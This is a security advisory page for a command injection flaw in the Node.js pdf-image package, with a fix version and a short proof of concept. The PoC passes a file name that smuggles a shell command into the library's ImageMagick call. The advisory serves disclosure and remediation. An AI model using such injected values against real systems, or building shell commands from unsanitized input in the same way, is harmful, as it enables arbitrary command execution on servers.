Arbitrary Command Injection Affecting pdf-image package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.46% (76th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID npm:pdf-image:20180529
- published 30 May 2018
- disclosed 29 May 2018
- credit N B Sri Harsha, kelotex
How to fix?
Upgrade pdf-image to version 2.0.1 or higher.
Overview
pdf-image provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.
Affected versions of this package are vulnerable to Arbitrary Command Injection.
PoC by N B Sri Harsha
var PDFImage = require("pdf-image").PDFImage;
var pdfImage = new PDFImage("asd.pdf\"; touch /tmp/hacked\"");
console.log(pdfImage.constructGetInfoCommand())
pdfImage.numberOfPages().then(function (imagePath){
console.log(imagePath);
})
References
CVSS Scores
version 3.1